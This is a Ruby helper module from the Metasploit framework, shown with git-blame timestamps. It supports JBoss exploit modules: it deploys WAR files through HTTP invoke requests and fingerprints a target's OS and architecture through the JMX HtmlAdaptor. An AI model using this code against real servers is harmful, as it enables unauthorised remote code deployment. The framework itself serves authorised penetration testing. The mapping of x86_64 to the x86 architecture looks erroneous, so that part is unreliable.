2014-07-17 22:56:32 +00:00
|
|
|
# -*- coding: binary -*-
|
2014-08-22 19:18:13 +00:00
|
|
|
|
2014-07-18 09:51:46 +00:00
|
|
|
module Msf::HTTP::JBoss::Base
|
2014-08-22 19:18:13 +00:00
|
|
|
|
|
|
|
# Deploys a WAR through HTTP uri invoke
|
|
|
|
#
|
|
|
|
# @param opts [Hash] Hash containing {Exploit::Remote::HttpClient#send_request_cgi} options
|
2014-09-29 21:59:12 +00:00
|
|
|
# @param num_attempts [Integer] The number of attempts
|
2014-08-22 19:18:13 +00:00
|
|
|
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response if exists, nil otherwise
|
2014-08-01 19:28:26 +00:00
|
|
|
def deploy(opts = {}, num_attempts = 5)
|
|
|
|
uri = opts['uri']
|
|
|
|
|
|
|
|
if uri.blank?
|
|
|
|
return nil
|
|
|
|
end
|
2014-07-17 22:56:32 +00:00
|
|
|
|
|
|
|
# JBoss might need some time for the deployment. Try 5 times at most and
|
|
|
|
# wait 5 seconds inbetween tries
|
|
|
|
num_attempts.times do |attempt|
|
2014-08-01 19:28:26 +00:00
|
|
|
res = send_request_cgi(opts, 5)
|
2014-07-17 22:56:32 +00:00
|
|
|
msg = nil
|
2014-08-01 19:28:26 +00:00
|
|
|
if res.nil?
|
2014-07-17 22:56:32 +00:00
|
|
|
msg = "Execution failed on #{uri} [No Response]"
|
2014-08-01 19:28:26 +00:00
|
|
|
elsif res.code == 200
|
2014-07-22 21:08:42 +00:00
|
|
|
vprint_status("Successfully called '#{uri}'")
|
2014-07-17 22:56:32 +00:00
|
|
|
return res
|
2014-08-22 20:11:27 +00:00
|
|
|
else
|
|
|
|
msg = "http request failed to #{uri} [#{res.code}]"
|
2014-07-17 22:56:32 +00:00
|
|
|
end
|
|
|
|
|
2014-08-01 19:28:26 +00:00
|
|
|
if attempt < num_attempts - 1
|
2014-07-17 22:56:32 +00:00
|
|
|
msg << ", retrying in 5 seconds..."
|
2014-07-22 21:08:42 +00:00
|
|
|
vprint_status(msg)
|
2014-07-24 20:58:58 +00:00
|
|
|
Rex.sleep(5)
|
2014-07-17 22:56:32 +00:00
|
|
|
else
|
|
|
|
print_error(msg)
|
|
|
|
return res
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2014-08-01 19:28:26 +00:00
|
|
|
|
2014-08-22 19:18:13 +00:00
|
|
|
# Provides the HTTP verb used
|
|
|
|
#
|
|
|
|
# @return [String] The HTTP verb in use
|
2014-08-01 19:28:26 +00:00
|
|
|
def http_verb
|
|
|
|
datastore['VERB']
|
|
|
|
end
|
|
|
|
|
2014-08-27 20:54:40 +00:00
|
|
|
|
2014-09-28 17:44:37 +00:00
|
|
|
# Try to auto detect the target architecture and platform
|
|
|
|
#
|
2015-04-02 11:14:25 +00:00
|
|
|
# @param [Array] available_targets The available targets
|
2015-04-03 19:16:06 +00:00
|
|
|
# @return [Msf::Module::Target, nil] The detected target or nil
|
2014-09-24 20:15:32 +00:00
|
|
|
def auto_target(available_targets)
|
2014-12-07 03:47:55 +00:00
|
|
|
if http_verb == 'HEAD'
|
2014-08-27 20:54:40 +00:00
|
|
|
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
|
|
|
|
else
|
|
|
|
print_status("Attempting to automatically select a target...")
|
|
|
|
res = query_serverinfo
|
2014-12-07 03:47:55 +00:00
|
|
|
plat = detect_platform(res)
|
|
|
|
unless plat
|
2014-09-24 20:15:32 +00:00
|
|
|
print_warning('Unable to detect platform!')
|
|
|
|
return nil
|
2014-08-27 20:54:40 +00:00
|
|
|
end
|
|
|
|
|
2014-12-07 03:47:55 +00:00
|
|
|
arch = detect_architecture(res)
|
|
|
|
unless arch
|
2014-09-24 20:15:32 +00:00
|
|
|
print_warning('Unable to detect architecture!')
|
|
|
|
return nil
|
2014-08-27 20:54:40 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# see if we have a match
|
2014-12-07 03:47:55 +00:00
|
|
|
available_targets.each { |t| return t if t['Platform'] == plat && t['Arch'] == arch }
|
2014-08-27 20:54:40 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# no matching target found, use Java as fallback
|
2014-09-24 20:15:32 +00:00
|
|
|
java_targets = available_targets.select {|t| t.name =~ /^Java/ }
|
2014-12-07 03:47:55 +00:00
|
|
|
|
|
|
|
java_targets[0]
|
2014-08-27 20:54:40 +00:00
|
|
|
end
|
|
|
|
|
2014-09-28 17:44:37 +00:00
|
|
|
# Query the server information from HtmlAdaptor
|
|
|
|
#
|
|
|
|
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response or nil
|
2014-08-27 20:54:40 +00:00
|
|
|
def query_serverinfo
|
2014-09-24 20:41:58 +00:00
|
|
|
path = normalize_uri(target_uri.path.to_s, 'HtmlAdaptor')
|
|
|
|
res = send_request_cgi(
|
2014-08-27 20:54:40 +00:00
|
|
|
{
|
|
|
|
'uri' => path,
|
2014-09-24 20:41:58 +00:00
|
|
|
'method' => http_verb,
|
2014-09-29 21:59:12 +00:00
|
|
|
'vars_get' =>
|
2014-09-24 20:41:58 +00:00
|
|
|
{
|
|
|
|
'action' => 'inspectMBean',
|
|
|
|
'name' => 'jboss.system:type=ServerInfo'
|
|
|
|
}
|
2014-08-27 20:54:40 +00:00
|
|
|
})
|
|
|
|
|
|
|
|
unless res && res.code == 200
|
|
|
|
print_error("Failed: Error requesting #{path}")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
res
|
|
|
|
end
|
|
|
|
|
|
|
|
# Try to autodetect the target platform
|
2014-09-28 17:44:37 +00:00
|
|
|
#
|
2014-12-07 03:47:55 +00:00
|
|
|
# @param res [Rex::Proto::Http::Response] the http response where fingerprint platform from
|
2014-09-28 17:44:37 +00:00
|
|
|
# @return [String, nil] The target platform or nil
|
2014-08-27 20:54:40 +00:00
|
|
|
def detect_platform(res)
|
|
|
|
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
|
|
|
|
os = $1
|
|
|
|
if (os =~ /Linux/i)
|
|
|
|
return 'linux'
|
|
|
|
elsif (os =~ /FreeBSD/i)
|
|
|
|
return 'linux'
|
|
|
|
elsif (os =~ /Windows/i)
|
|
|
|
return 'win'
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
nil
|
|
|
|
end
|
|
|
|
|
|
|
|
# Try to autodetect the target architecture
|
2014-09-28 17:44:37 +00:00
|
|
|
#
|
2014-12-07 03:47:55 +00:00
|
|
|
# @param res [Rex::Proto::Http::Response] the http response where fingerprint architecture from
|
2014-09-28 17:44:37 +00:00
|
|
|
# @return [String, nil] The target architecture or nil
|
2014-08-27 20:54:40 +00:00
|
|
|
def detect_architecture(res)
|
|
|
|
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
|
|
|
|
arch = $1
|
2014-12-07 03:47:55 +00:00
|
|
|
if arch =~ /(x86|i386|i686)/i
|
2014-08-27 20:54:40 +00:00
|
|
|
return ARCH_X86
|
2014-12-07 03:47:55 +00:00
|
|
|
elsif arch =~ /(x86_64|amd64)/i
|
2014-08-27 20:54:40 +00:00
|
|
|
return ARCH_X86
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
nil
|
|
|
|
end
|
2014-07-17 22:56:32 +00:00
|
|
|
end
|